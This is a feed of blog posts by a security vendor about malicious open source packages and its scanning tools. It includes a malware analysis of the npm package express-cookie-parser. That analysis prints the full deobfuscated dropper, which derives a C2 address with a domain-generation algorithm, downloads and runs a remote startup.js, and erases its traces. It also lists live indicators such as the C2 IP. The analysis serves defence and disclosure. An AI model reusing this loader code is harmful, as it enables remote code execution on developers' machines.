DEV Community: Abhisek Datta

Real-time Malicious Package Protection for AI Coding Agents

Abhisek Datta — Mon, 23 Feb 2026 09:07:32 +0000

Claude Code, Cursor, Codex is the new wave of AI coding agents. They can scaffold projects, write features, and wire up dependencies faster than most of us can read a README.md. They also run npm install without a second thought.

That’s where things get interesting. These agents have zero ability to distinguish a legitimate package from a malicious one. Unlike first-party code which the agents can review, they have no visibility on the third-party code inherited through open source package dependencies.

They will install whatever looks right based on the name, the prompt, and the training data. The attack surface is real. There are real-world examples:

Shai-Hulud 2.0: A self-replicating worm that compromised zapier-sdk, @asyncapi, and posthog packages — over 500 npm packages and 25,000+ repositories affected. The malware propagated via preinstall scripts and harvested cloud credentials.
eslint-config-prettier: 30 million weekly downloads. Compromised through a phishing attack on the maintainer's npm account. Six malicious versions published before anyone noticed.
nx build system: 4.6 million weekly downloads. Credential harvesting via postinstall hooks — the malware executed the moment a developer ran npm install.
21 npm packages with crypto wallet drainers: Packages with over a billion cumulative weekly downloads, weaponized to steal cryptocurrency.

Introducing SafeDep MCP

SafeDep MCP Server protect AI coding workflows from software supply chain attacks. Every npm, PyPI, and other open source package is checked against real-time threat intelligence before installation.

The problem: AI coding tools install packages without the scrutiny a human would apply. One malicious package can steal AWS keys, GitHub tokens, and API secrets from the environment.

The solution: SafeDep validates every package that the AI suggests within the agent loop before installation. Malicious packages are blocked with clear explanations. Safe packages install invisibly. Zero friction when there's no threat.

Key Features

Real-time detection — SafeDep scan packages as they're published to public open source registries, detecting threats in hours, not days
Zero friction — Invisible when packages are safe.
Broad ecosystem coverage — npm, PyPI, and expanding to more registries

Supported Tools

Claude Code
Cursor
Windsurf
Zed
Gemini CLI
OpenAI Codex
Any MCP-compatible IDE

How it works

SafeDep continuously monitors open source package registries such as npm, pypi and more for newly published packages. All packages are analysed using a combination of static code analysis and dynamic behaviour analysis with LLM based contextual classification of behaviour. This enables real-time detection of malicious packages published to the public registries.

SafeDep MCP server is wired with this real-time malicious package database to flag supply chain attacks before they are disclosed in the public.

Demo

Get Started

Sign-up with app.safedep.io to get API key (free)
Connect AI coding agents with SafeDep Streamable HTTP Endpoint
Continue coding with agents. No friction. Just in time protection.

Website: https://safedep.io/mcp
Documentation: https://docs.safedep.io/apps/mcp/overview

Malicious npm Package Impersonating Popular Express Cookie Parser

Abhisek Datta — Tue, 27 May 2025 18:28:40 +0000

Originally published in SafeDep Engineering blog. GitHub project: https://github.com/safedep/vet

We found a malicious npm package express-cookie-parser impersonating the popular Express cookie-parser package. The README.md file for express-cookie-parser is a copy from the cookie-parser package. The malicious payload is in cookie-loader.min.js in the analyzed version 1.4.12. This an unique malicious npm sample that does not depend on pre or post install hooks. Instead, the payload is executed when a documented API from the malicious library is used by an affected application.

The payload performs the following:

Acts as stage-1 or dropper payload for stage-2 payload
Fetches seed file https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Generates a C2 server domain based on hardcoded 496AAC7E and SHA256 hash of the seed file
The C2 URL is of the format http://${domain}/public/startup.js?ver=1.2&type=module
Downloads startup.js from the C2 server and executes it using node executable found on the system
Deletes cookie-loader.min.js after execution and re-writes index.js to remove require('./cookie-loader.min')

At the time of writing, the URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example contains the following payload:

JWT_SECRET=
EXPIRATION=9999h
PORT=5555
DB_USER=admin
DB_PASS=123456

As per our analysis, the SHA256 hash of the above content is used to generate the C2 server domain using a Domain Generation Algorithm.

Investigation

We decided to analyze express-cookie-parser@1.4.12 closely to identify the malicious behavior. The package.json is the most common attack vector for malicious npm packages as we have seen in analyzing 5000+ malicious packages. However, for this sample, the package.json appears to be similar to the original cookie-parser package. However, the index.js loads the malicious payload while providing facades for API compatibility.

Lets take a look at the index.js file:

// Loads dependency packages
var cookie = require('cookie');
var signature = require('cookie-signature');

// Loads the malicious payload
require('./cookie-loader.min');

// [...]

function cookieParser(secret, options) {
  // Defines the cookieParser function for API compatibility
  // [...]
}

Next we looked at the cookie-loader.min.js file which is the actual malicious payload. However, it was minified and obfuscated to make it harder to read and analyze by humans or static analysis tools.

The cookie-loader.min.js file is a dropper for the startup.js file that is fetched from a remote C2 server generated using a Domain Generation Algorithm with a fixed value of 496AAC7E.

Based on our analysis, cookie-loader.min.js does the following:

Identifies the path of node executable on the system for Windows, Linux and macOS platforms
Computes the Google Chrome user data directory path based on the OS for persistence (dropping startup.js)
Computes C2 domain using Domain Generation Algorithm with a fixed value of 496AAC7E and SHA256 hash of the seed file
Downloads startup.js from the C2 server and executes it using node executable found on the system
Deletes cookie-loader.min.js after execution and re-writes index.js to remove require('./cookie-loader.min')

It also contains code to delete cookie-loader.min.js after execution and remove the reference from index.js. The following code performs this operation:

function f() {
  l.unlinkSync(__filename);
  var e,
    t = r.join(__dirname, 'index.js');
  l.existsSync(t) &&
    ((e = l.readFileSync(t).toString()), l.writeFileSync(t, e.replace("require('./cookie-loader.min')", '')));
}

Domain Generation Algorithm (DGA)

The C2 server domain is generated using an embedded DGA based on following two parameters

Hardcoded 4 byte XOR key 496AAC7E
SHA256 hash of the seed file
Generate the stage-2 payload URL as http://${generated-domain}/public/startup.js?ver=1.2&type=module

Based on our analysis, the DGA does the following:

XOR each byte of the SHA256 hash of the seed file with the hardcoded key 496AAC7E.
Convert the 32 byte (XOR'd hash) result to a dotted IP address format

We derived 206.214.129.67 as the C2 server domain based on SHA256 hash of the seed file https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example and the key 496AAC7E.

See the deobfuscated version of the cookie-loader.min.js file for more details.

What to do if you are affected?

Remove the package using npm remove express-cookie-parser

For critical systems, we recommend that the system should be considered compromised and appropriate incident response process should kick-in.

How can SafeDep help?

Our free and open source tool vet is integrated with the SafeDep Cloud Package Scanning Service and can be used to detect malicious packages before they are installed. vet-action is a GitHub Action that can be used to establish proactive guardrails against malicious open source packages in your GitHub Actions workflows.

Indicator of Compromise (IOC)

Seed file URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
C2 server domain generation algorithm key 496AAC7E
C2 server IP 206.214.129.67 generated by the DGA using SHA256 hash of the seed file and the key 496AAC7E

Deobfuscated `cookie-loader.min.js`

Following is the deobfuscated version of the cookie-loader.min.js file:

// Import required Node.js modules
const { spawn, exec } = require('child_process');
const path = require('path');
const https = require('https');
const http = require('http');
const fs = require('fs');
const os = require('os');
const crypto = require('crypto');

// Create a SHA-256 hash object for later use
const sha256Hash = crypto.createHash('sha256');

// Base64 encoded URL for the initial payload
// Decodes to: https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
const encodedUrl =
  'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=';
const decodedUrl = atob(encodedUrl);

/**
 * Gets the path to the node executable on the system based on platform
 * This ensures the malware can run node processes on any OS
 */
function getNodePath() {
  // For Linux and macOS
  if (os.platform() === 'linux' || os.platform() === 'darwin') {
    return new Promise((resolve, reject) => {
      exec('which node', { windowsHide: true }, (error, stdout, stderr) => {
        if (error || stderr) {
          reject('Node.js not found');
        } else {
          resolve(stdout.trim());
        }
      });
    });
  }
  // For Windows
  else if (os.platform() === 'win32') {
    return new Promise((resolve, reject) => {
      exec('where node', { windowsHide: true }, (error, stdout, stderr) => {
        if (error || stderr) {
          callback(null);
        } else {
          const nodePath = stdout.split('\n')[0].trim();
          resolve(nodePath);
        }
      });
    });
  }
}

/**
 * Creates a path for the malicious script
 * Targets Chrome browser directories for persistence and to avoid detection
 */
let getScriptPath = () => {
  let browserDataDir = null;
  const homeDir = os.homedir();

  // First attempt: Target Chrome user data directories based on OS
  if (os.platform() === 'win32') {
    browserDataDir = path.join(homeDir, 'AppData', 'Local', 'Google', 'Chrome', 'User Data');
  } else if (os.platform() === 'linux') {
    browserDataDir = path.join(homeDir, '.config', 'google-chrome');
  } else if (os.platform() === 'darwin') {
    browserDataDir = path.join(homeDir, 'Library', 'Application Support', 'Google', 'Chrome');
  }

  // Fallback: Use more generic locations if Chrome dirs don't exist
  if (!fs.existsSync(browserDataDir)) {
    if (os.platform() === 'win32') {
      browserDataDir = path.join(homeDir, 'AppData', 'Local');
    } else if (os.platform() === 'linux') {
      browserDataDir = path.join(homeDir, '.config');
    } else if (os.platform() === 'darwin') {
      browserDataDir = path.join(homeDir, 'Library', 'Application Support');
    }
  }

  // Create directory if it doesn't exist
  if (!fs.existsSync(browserDataDir)) {
    fs.mkdirSync(browserDataDir, { recursive: true });
  }

  // Create a Scripts directory in the browser data folder
  const scriptsDir = path.join(browserDataDir, 'Scripts');

  // Create Scripts directory if it doesn't exist
  if (!fs.existsSync(scriptsDir)) {
    fs.mkdirSync(scriptsDir, { recursive: true });
  }

  // Return path for the malware script
  const malwarePath = path.join(scriptsDir, 'startup.js');
  return malwarePath;
};

/**
 * Executes a node script in a detached process
 * This allows the malware to run independently from the parent process
 */
function runScript(scriptPath) {
  spawn('node', [scriptPath], {
    detached: true, // Makes process independent from parent
    stdio: 'ignore', // Prevents any output being shown
    windowsHide: true, // Prevents window from being shown on Windows
  }).unref(); // Allows parent to exit independently
}

/**
 * Covers tracks by removing the malicious loader and editing the index.js file
 * This helps avoid detection after the malware has been installed
 */
function coverTracks() {
  // Delete this malicious file
  fs.unlinkSync(__filename);

  // Remove the require statement from index.js to hide evidence
  const indexPath = path.join(__dirname, 'index.js');

  if (fs.existsSync(indexPath)) {
    const indexContent = fs.readFileSync(indexPath).toString();
    // Remove the require statement for this malicious module
    fs.writeFileSync(indexPath, indexContent.replace("require('./cookie-loader.min')", ''));
  }
}

/**
 * Updates the downloaded script with the absolute path to node
 * This ensures the script can be executed as a standalone file
 */
async function fixNodePath(scriptPath) {
  // Only needed for non-Windows platforms
  if (os.platform() !== 'win32') {
    const scriptContent = fs.readFileSync(scriptPath).toString();
    const nodePath = await getNodePath();
    // Replace "node" with the absolute path
    const updatedContent = scriptContent.replace('"node"', '"' + nodePath + '"');
    fs.writeFileSync(scriptPath, updatedContent);
  }
}

/**
 * Downloads a file from a URL to a specified location
 */
function downloadFile(url, targetPath) {
  // Choose http or https based on URL
  let httpModule = url.startsWith('https') ? https : http;

  return new Promise((resolve, reject) => {
    httpModule.get(url, (response) => {
      if (response.statusCode !== 200) {
        reject('');
        return;
      }

      const fileStream = fs.createWriteStream(targetPath);
      response.pipe(fileStream);

      fileStream.on('finish', () => {
        resolve('');
      });
    });
  });
}

/**
 * Domain generation algorithm using XOR operations
 * Creates C2 (command and control) server address from file hash and fixed value
 */
function generateDomain(hash, fixedValue) {
  // XOR each byte of the hash with the fixed value
  let result = '';
  for (let i = 0; i < fixedValue.length; i++) {
    const xorResult = parseInt(hash[i], 16) ^ parseInt(fixedValue[i], 16);
    result += xorResult.toString(16);
  }

  // Convert the hex result to a dotted IP address format
  let ipAddress = '';
  for (let i = 0; i < result.length; i += 2) {
    if (ipAddress) {
      ipAddress += '.';
    }
    ipAddress += parseInt(result.slice(i, i + 2), 16).toString();
  }

  return ipAddress;
}

/**
 * Creates the URL for downloading the actual malware payload
 */
function createMalwareUrl(domain) {
  return `http://${domain}/public/startup.js?ver=1.2&type=module`;
}

/**
 * Main execution function that orchestrates the attack
 */
function executeAttack() {
  // Get the target path for the malware
  let targetPath = getScriptPath();

  // Download the initial script, generate domain, download malware, and execute it
  downloadFile(decodedUrl, targetPath)
    .then(() => {
      // Calculate hash of the downloaded file
      const fileContent = fs.readFileSync(targetPath);
      sha256Hash.update(fileContent);
      const fileHash = sha256Hash.digest('hex');

      // Generate C2 domain using the hash and a fixed value
      return createMalwareUrl(generateDomain(fileHash, '496AAC7E'));
    })
    .then((malwareUrl) => downloadFile(malwareUrl, targetPath))
    .then(() => fixNodePath(targetPath))
    .then(() => {
      // Make the script executable and run it
      fs.chmodSync(targetPath, '755');
      runScript(targetPath);
    })
    .finally(() => {
      // Clean up after 1.5 seconds to allow time for script to execute
      setTimeout(() => {
        coverTracks();
      }, 1500);
    });
}

// Execute the malicious code immediately when this file is required
executeAttack();

Agentic Analysis of Open Source Package Code for Malware

Abhisek Datta — Tue, 08 Apr 2025 16:19:29 +0000

Experiments with agentic workflows for malicious package analysis built using Claude Desktop, Model Context Protocol (MCP) server, static code analysis and SafeDep Cloud API tools.

Demo

Architecture

For the demo, we exposed the following through an MCP Interface to MCP clients like Claude Desk

Insights API
Malicious Package Scanning API
Misc tools for GitHub API access
Misc tools for package registry (e.g. npm) access

Looking Ahead

While the results are promising and exciting for us but there is a long way to go to productionize this. For example, our automated systems that monitor public package registries use statically coded workflows and operate at < 10% time cost of the agentic execution currently. It also minimizes LLM calls by leveraging static code analysis and opinionated rules to scale much better.

For proactive protection against malicious open source packages in CI/CD, try vet, its free and open source

➡️ https://github.com/safedep/vet

Scanning Open Source Packages for Malicious Code 🚨

Abhisek Datta — Wed, 26 Mar 2025 17:08:08 +0000

Malicious code in open sources is real and people get hacked due to it as we have seen with changed-files incident, ultralytics hack and multiple such incidents. vet now supports identification of malicious OSS packages through active code analysis.

🚀 Getting Started

Install vet

brew tap safedep/tap
brew install safedep/tap/vet

For other installation methods, refer to README.md

Onboard to SafeDep Cloud to use the code analysis infrastructure using vet

vet cloud quickstart

🐞 Malicious Package Scanning

Scan a single package

vet inspect malware --purl pkg:/npm/llm-oracle@1.0.2

Scan a repository with auto-discovered packages

vet scan -D /path/to/repo --malware

🔍 Supported Ecosystems

Ecosystem	Support
Javascript (npm)	✅
Python (pypi)	✅
Java (Maven)	❌
Go (modules)	✅
Rust (crates.io)	❌
Ruby (rubygems)	✅

➡️ Raise an issue to request an ecosystem to be prioritised

👾 Live Demo

📊 Resources

Safe and Secure Consumption of Open Source Libraries

Abhisek Datta — Thu, 04 Jul 2024 08:10:40 +0000

Open Source software is the foundation of modern software projects. Any software written today consists of 70-90% of open source code in form of libraries and other components. These open source libraries often comes with security risks and introduce technical debt over time in consumer software projects. These risks include

Vulnerability
Malware
Unmaintained / unpopular projects
License

In this post, we will look at how we can use vet, an open source tool for vetting open source libraries before use by software consumers.

Full Disclosure: I am the creator of vet. You can follow the GitHub project at https://github.com/safedep/vet

TL;DR

Note: Examples in this post are created by using vet to scan https://github.com/safedep/demo-client-java which is a Java app with intentionally older version of libraries

Install vet by following documentation on installation
If you are using homebrew, you can install it easily

brew tap safedep/tap
brew install safedep/tap/vet

Scan your project source code for vulnerabilities and other risks

vet scan -D /path/to/source

The default configuration should scan your package manifest (e.g. package-lock.json, gradle.lockfile, pom.xml) and identify the most risky open source libraries that your software depends on. Upgrading these libraries usually reduce the risk of vulnerabilities.

Instead of scanning entire source directory, you can scan specific package manifests as well. This is useful for monorepo or to avoid noise of vet picking up documentation or test data related sub-modules

vet scan --lockfiles gradle.lockfile --lockfiles ui/package-lock.json

Filters

Like most other security tools, vet by default uses an opinionated approach to identifying "risk" which may not be suitable for all consumers. The filters feature of vet allows consumers to identify the risky OSS libraries that they care about.

Identify only libraries that has a critical vulnerability

vet scan -D /path/to/source --filter 'vulns.critical.exists(p, true)'

Identify libraries that are unmaintained

vet scan -D /path/to/source --filter 'scorecard.scores.Maintained == 0'

Scorecard checks are based on OpenSSF Scorecard Project

Find libraries with a specific license

vet scan -D /path/to/source --filter 'licenses.exists(p, p == "MIT")'

For a full list of filtering capabilities, refer to the documentation

Reporting

Mitigation, fixing, response or integration with other tools requires additional information which can be obtained using various supported reporting format.

Common use-cases include

Exporting risky libraries as CSV report

vet scan -D /path/to/source --filter 'vulns.critical.exists(p, true)' --report-csv report.csv

Exporting risky libraries as SARIF report

vet scan -D /path/to/source --filter 'vulns.critical.exists(p, true)' --report-sarif report.sarif

Policy as Code

The filters can be combined together into YAML document to achieve policy as code capability with vet. It can be used to build a guard rail in CI/CD against introducing risky OSS libraries.

Example Policy

vet scan -D /path/to/source --filter-suite policy.yml --filter-fail

Policy violations will trigger a non-zero exit code in vet with error such as

scan failed due to error: CEL Filter Suite analyzer raised an event to fail with: failed due to filter suite match on demo-client-java/gradle.lockfile

This is useful for CI integration where the build step is failed based on exit code. Refer to policy as code documentation for more details.

Conclusion

Consuming OSS libraries require security vetting. vet project goal is to make the process of OSS library vetting easy and automated while providing the necessary controls and customization for wider adoption.

vet is a community driven project and welcomes community participation and contribution. Report bugs or ask for new feature using GitHub issue and join us on community Discord.

DEV Community: Abhisek Datta

Real-time Malicious Package Protection for AI Coding Agents

Introducing SafeDep MCP

Key Features

Supported Tools

How it works

Demo

Get Started

Malicious npm Package Impersonating Popular Express Cookie Parser

Investigation

Domain Generation Algorithm (DGA)

What to do if you are affected?

How can SafeDep help?

Indicator of Compromise (IOC)

Deobfuscated cookie-loader.min.js

Agentic Analysis of Open Source Package Code for Malware

Demo

Architecture

Looking Ahead

Scanning Open Source Packages for Malicious Code 🚨

🚀 Getting Started

🐞 Malicious Package Scanning

🔍 Supported Ecosystems

👾 Live Demo

📊 Resources

Safe and Secure Consumption of Open Source Libraries

TL;DR

Filters

Reporting

Policy as Code

Conclusion

Deobfuscated `cookie-loader.min.js`